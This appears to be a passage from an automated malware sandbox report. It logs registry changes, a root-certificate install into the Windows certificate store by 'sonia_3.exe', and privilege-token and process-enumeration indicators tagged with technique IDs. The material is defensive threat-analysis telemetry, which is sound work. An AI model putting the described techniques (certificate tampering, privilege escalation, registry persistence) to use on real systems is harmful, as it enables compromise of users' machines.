Set value (data)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = f7227bddca7dd701	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Rating\Next Rating Prompt = 20423fd4a182d701	MicrosoftEdge.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{45AC2TN3-666M-M32E-TO40-1MIP137D5TOZ}\1 = "2432"	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Content	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modif = 01000000fdb44e3dcdb3444fdbb27e6da6c06c79d574feb852c4a5cad2914af504f57ba49e6688df223e3291b434995b6bdd23080a3f0da25c050b684cef22c87f7cc105faf173983a3d2f91ee56b09df016ff428cb260a6d14a3f29123ebe65183040baf7f5914ee1d1ae8296b995d83e8d4c74096f7d28a8b55215cb1d671d62314b989d129b29ec1a1aecfffd5f76c66074f27114c0bc7065cbb41a2ea2910d9f711284e867d57a3941d35cc3008578b1ecadea42cf757d7aed212810e579369a51e75a17795a514c8d3978a98d70b09ee092009a40c24614d770ee6286734b4255b3643f2f83867494e9355043701b49a4b9e8ba8adec852cb606bc609e882b7f3433d0090d30cd2b2929f581fc792d053676144add0aa56fc633cdb2dfbfd19f7c10bfa6e0f3d848e33a06189940d5511dd14d689f62b3ff0f0da403091f188aaa732cdaa4ea1ab4add9c0b9e9c97f65ffc82117026742d24281197d25ee9243a8ed3189ea8ab674cb75af7322605d5afb02c96da5a8d3fc5ca797fd70cd00dd5c0ae7db16559d9e2615cc3c2e07b11c937b30363f4be970b7bdae61c0bc65a3ed8eafa38ed477b	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = e411d7c8ca7dd701	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Content\CacheLimit = "256000"	MicrosoftEdge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DomainSuggestion\FileNames\en-US = "en-US.1"	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FlipAhead\Meta\generator$http://www.typepad.com/	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\IEMigration\FlipAheadCompletedVersion = "1"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-Revision = "0"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus\ACGPolicyState = "8"	MicrosoftEdgeCP.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = 662189d8ca7dd701	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-VendorId = "0"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Main\JumpListInPrivateBrowsingAllowed = "1"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{69RG4ZP0-857P-S13A-ZW93-6DTG316B7ZWC}\650478DC7424C37C\2 = "1"	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\ACGStatus	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\Internet Settings\Cache\Content	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\CIStatus\SignaturePolicy = 06000000	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TabbedBrowsing	MicrosoftEdgeCP.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\HistoryJournalCertificate\Certificates\4EEF7FAF0062D34AB = 0300000001000000140000004eef7faf0062d34abee6137e774438ae9988739f04000000010000001000000024d7172657e6b799f66cf32ae88b5c280f0000000100000020000000547b3c62613c9c2b025d5461623ae703e9853ee45a8bf3b425bf63528e992912140000000100000014000000fe7e60dd9d8292295edf1cf80869a75b98896ed01900000001000000100000002aac2185e0e1b6503eb16a495b1815fc5c0000000100000004000000000800001800000001000000100000002d581a49c8eb5b3b3c6ef9bb65314d702000000001000000eb050000308205e7308203cfa003020102021333000001a636dabe8bbe573d9a0000000001a6300d06092a864886f70d01010b0500307e310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e312830260603550403131f4d6963726f736f667420536563757265205365727665722043412032303131301e170d3231303331313139323835325a170d3232303631313139323835325a3081a9310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e310d300b060355040b130442696e67311b301906035504031312494520496e737472756d656e746174696f6e3127302506092a864886f70d010901161862696e6769657465616d406d6963726f736f66742e636f6d30820122300d06092a864886f70d01010105000382010f003082010a0282010100d0b49f5b650f0fa690df343367a2cd62155e98e3c0fc14cb1f696618be8c327ef257f50d47bce3a4286e36edc0382e0ac81096dbce62463bb552970d01d02a7ca642d6faed9b5878c4e2e33e7c9f94ea4eb7f125662d5d2fe78138ce3e827bd98969028a908fab20632542a1ef952c10382b7efcaae1f5e7521d5fb617a93aa002b579a3203726111c73a9832712e3b5d4d140b247c91824de8123b45ea39fbcdb6e5c77d68cd3db64dd24844a1879865356f655cf1c5d94b208e244bd075a9823c87af7bcad6aab52e3444aad2947a7baad0d42c9d785964dbd8b4e09004359094d0646c3ca98e7c698b0fa7d6f1606b1459fd6df8d9aea8ae85911789bc5e10203010001a38201303082012c300e0603551d0f0101ff0404030204f030150603551d25040e300c060a2b0601040182374c0c01301d0603551d0e04160414fe7e60dd9d8292295edf1cf80869a75b98896ed0301f0603551d230418301680143656896549cb5b9b2f3cac4216504d91b933d79130530603551d1f044c304a3048a046a0448642687474703a2f2f7777772e6d6963726f736f66742e636f6d2f706b696f70732f63726c2f4d69635365635365724341323031315f323031312d31302d31382e63726c306006082b0601050507010104543052305006082b060105050730028644687474703a2f2f7777772e6d6963726f736f66742e636f6d2f706b696f70732f63657274732f4d69635365635365724341323031315f323031312d31302d31382e637274300c0603551d130101ff04023000300d06092a864886f70d01010b05000382020100c1055e1c6ece899cbff031668bd0b72ee668484f9392c48efe112ba21c521af47582849539f2fd53f7f8adecc243743211150de90b106e6bdaaedb88a8fc71aff2bd4bfeae5628507aa3b47095bf680a0a56bc6cb9c70871fa0b05857bf1762af884469264870c4139f7f9e93bbedaf73a867994c51e7c8473506f1ca68a8f9059cfa5c068be7ecade98315eebd7e71431ebe7d033b4fc8056d94ab70b03e1368082fc83a82cd632b9f3a03f9c9d51881c39b432ee9856e87835bc0481e57489da3590d20b2b9b0900704de861f994d956a2c0347178c59e5048bb9bbfbe8cef237d5860d7f407dcbce486eee7d98a90509a8f1b81445453326b139f0d2fdc68b831681fa96f2284b8153e3dbe60cb2d0ac030d0e2ecfc85c9d361c25e01cabe57cd6ebdc40708b2bd449152e90d2d45d725db856ab64d29a9fdb9fdb85f6354cbd5be240f4b71fa745db8eb32c0e4ea4747bfa5a4f9a5346e42b3379636d05e52225cea1baa7792b8f51b803658026b11fd0ab5877a99f4e74ff994c61177ea425554a7135d8b020661d2d285eb8bf1aa00d3bf78e2f5dba62cd7befdb85fffe6c1b65643f56fe36cf412f366b03bc8c78c852c1ed43a218256636d67eb8241477d3258af4f96b9698b0326d6d01826734eb18f1b393cbf85c0f9fdab4fb854536110f2f678003f80f270cbb1fbeb5ba09523f959dfeba84319577874e4dec0	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance
Set value (data)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\EdgeMigration\MigrationTime = 1d24df8b702cd701	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\IETld\LowMic	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DataStore\OneTimeCleanup = "1"	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FlipAhead\Meta\generator$vBulletin 4	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Cookies\CacheLimit = "1"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Revision = "0"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\CIStatus	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\Internet Settings\Cache	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\CIStatus\CIPolicyState = "0"	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates\Disallowed	MicrosoftEdge.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{20EP1MI0-142C-L17D-YD26-2GCP283P3KMT}\1 = "6048"	svchost.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{20EP1MI0-142C-L17D-YD26-2GCP283P3KMT}	svchost.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID	svchost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\OnlineHistory\UUID = "{FFC9F263-9886-4485-A631-932E5443F49D}"	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\ACGStatus\DynamicCodePolicy = 05000000	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates\Disallowed\CRLs	MicrosoftEdge.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{20EP1MI0-142C-L17D-YD26-2GCP283P3KMT}\1 = "1576"	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DomainSuggestion	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates\CA	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates\Root\CRLs	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus	MicrosoftEdgeCP.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:"	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FlipAhead\NextUpdateDate = "333606038"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ServiceUI\IsSignedIn = "0"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\DXFeatureLevel = "0"	MicrosoftEdge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Explorer	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\OpenSearch\OpenSearchDescriptionData = baffc49ee383374a8abf67e99635ea1e0100000053b06a1abe27334898108231552c52911f000000260000007700770077002e0067006f006f0067006c0065002e0063006f006d0000001f0000007e000000680074007400700073003a002f002f007700770077002e0067006f006f0067006c0065002e0063006f006d002f0073006500610072006300680064006f006d00610069006e0063006800650063006b003f0066006f0072006d00610074003d006f00700065006e0073006500610072006300680000001f0000002400000047006f006f0067006c00650020007a006f0065006b0065006e0000001f0000000a000000000000000000	MicrosoftEdge.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

Processes:

sonia_3.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	sonia_3.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 5c000000010000000400000000080000090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	sonia_3.exe

Runs .reg file with regedit 2 IoCs

Processes:

regedit.exeregedit.exe

pid process

5176 regedit.exe
4904 regedit.exe
Runs ping.exe 1 TTPs 2 IoCs

Remote System Discovery
T1018

Processes:

PING.EXEPING.EXE

pid process

5740 PING.EXE
5768 PING.EXE

pid	process
5176	regedit.exe
4904	regedit.exe

pid	process
5740	PING.EXE
5768	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

sonia_2.exerundll32.exesvchost.exesonia_3.exe

pid	process
1308	sonia_2.exe
1308	sonia_2.exe
1136	rundll32.exe
1136	rundll32.exe
4012	svchost.exe
4012	svchost.exe
3000
3000
3000
3000
3000
3000
3000
3000
3000
3000
3000
3000
3000
3000
3000
3000
3000
3000
3000
3000
3000
3000
3000
3000
3000
3000
3000
3000
3000
3000
3000
3000
3000
3000
3000
3000
3000
3000
3000
3000
3000
3000
3000
3000
3936	sonia_3.exe
3936	sonia_3.exe
3936	sonia_3.exe
3936	sonia_3.exe
3936	sonia_3.exe
3936	sonia_3.exe
3000
3000
3000
3000
3000
3000
3000
3000

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

pid process

3000

pid	process
3000

Suspicious behavior: MapViewOfSection 9 IoCs

Processes:

sonia_2.exeMicrosoftEdgeCP.exeSensitive.exe.comAcre.exe.comjhhdssejhhdssejhhdsse

pid	process
1308	sonia_2.exe
5912	MicrosoftEdgeCP.exe
5912	MicrosoftEdgeCP.exe
5728	Sensitive.exe.com
5728	Sensitive.exe.com
5816	Acre.exe.com
4256	jhhdsse
5200	jhhdsse
4576	jhhdsse

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

sonia_4.exerundll32.exesvchost.exeOLKbrowser.exeWerFault.exeFl8ioPrOQu3vYbhTMGgLjtpI.exe

description	pid	process
Token: SeDebugPrivilege	3312	sonia_4.exe
Token: SeDebugPrivilege	1136	rundll32.exe
Token: SeDebugPrivilege	1136	rundll32.exe
Token: SeDebugPrivilege	4012	svchost.exe
Token: SeDebugPrivilege	1136	rundll32.exe
Token: SeDebugPrivilege	1136	rundll32.exe
Token: SeDebugPrivilege	1136	rundll32.exe
Token: SeDebugPrivilege	1136	rundll32.exe
Token: SeDebugPrivilege	1136	rundll32.exe
Token: SeDebugPrivilege	1136	rundll32.exe
Token: SeDebugPrivilege	1136	rundll32.exe
Token: SeDebugPrivilege	1136	rundll32.exe
Token: SeDebugPrivilege	1136	rundll32.exe
Token: SeDebugPrivilege	1136	rundll32.exe
Token: SeDebugPrivilege	1136	rundll32.exe
Token: SeShutdownPrivilege	3000
Token: SeCreatePagefilePrivilege	3000
Token: SeShutdownPrivilege	3000
Token: SeCreatePagefilePrivilege	3000
Token: SeShutdownPrivilege	3000
Token: SeCreatePagefilePrivilege	3000
Token: SeShutdownPrivilege	3000
Token: SeCreatePagefilePrivilege	3000
Token: SeShutdownPrivilege	3000
Token: SeCreatePagefilePrivilege	3000
Token: SeShutdownPrivilege	3000
Token: SeCreatePagefilePrivilege	3000
Token: SeShutdownPrivilege	3000
Token: SeCreatePagefilePrivilege	3000
Token: SeShutdownPrivilege	3000
Token: SeCreatePagefilePrivilege	3000
Token: SeShutdownPrivilege	3000
Token: SeCreatePagefilePrivilege	3000
Token: SeDebugPrivilege	4916	OLKbrowser.exe
Token: SeRestorePrivilege	4348	WerFault.exe
Token: SeBackupPrivilege	4348	WerFault.exe
Token: SeShutdownPrivilege	3000
Token: SeCreatePagefilePrivilege	3000
Token: SeCreateTokenPrivilege	3884	Fl8ioPrOQu3vYbhTMGgLjtpI.exe
Token: SeAssignPrimaryTokenPrivilege	3884	Fl8ioPrOQu3vYbhTMGgLjtpI.exe
Token: SeLockMemoryPrivilege	3884	Fl8ioPrOQu3vYbhTMGgLjtpI.exe
Token: SeIncreaseQuotaPrivilege	3884	Fl8ioPrOQu3vYbhTMGgLjtpI.exe
Token: SeMachineAccountPrivilege	3884	Fl8ioPrOQu3vYbhTMGgLjtpI.exe
Token: SeTcbPrivilege	3884	Fl8ioPrOQu3vYbhTMGgLjtpI.exe
Token: SeSecurityPrivilege	3884	Fl8ioPrOQu3vYbhTMGgLjtpI.exe
Token: SeTakeOwnershipPrivilege	3884	Fl8ioPrOQu3vYbhTMGgLjtpI.exe
Token: SeLoadDriverPrivilege	3884	Fl8ioPrOQu3vYbhTMGgLjtpI.exe
Token: SeSystemProfilePrivilege	3884	Fl8ioPrOQu3vYbhTMGgLjtpI.exe
Token: SeSystemtimePrivilege	3884	Fl8ioPrOQu3vYbhTMGgLjtpI.exe
Token: SeProfSingleProcessPrivilege	3884	Fl8ioPrOQu3vYbhTMGgLjtpI.exe
Token: SeIncBasePriorityPrivilege	3884	Fl8ioPrOQu3vYbhTMGgLjtpI.exe
Token: SeCreatePagefilePrivilege	3884	Fl8ioPrOQu3vYbhTMGgLjtpI.exe
Token: SeCreatePermanentPrivilege	3884	Fl8ioPrOQu3vYbhTMGgLjtpI.exe
Token: SeBackupPrivilege	3884	Fl8ioPrOQu3vYbhTMGgLjtpI.exe
Token: SeRestorePrivilege	3884	Fl8ioPrOQu3vYbhTMGgLjtpI.exe
Token: SeShutdownPrivilege	3884	Fl8ioPrOQu3vYbhTMGgLjtpI.exe
Token: SeDebugPrivilege	3884	Fl8ioPrOQu3vYbhTMGgLjtpI.exe
Token: SeAuditPrivilege	3884	Fl8ioPrOQu3vYbhTMGgLjtpI.exe
Token: SeSystemEnvironmentPrivilege	3884	Fl8ioPrOQu3vYbhTMGgLjtpI.exe
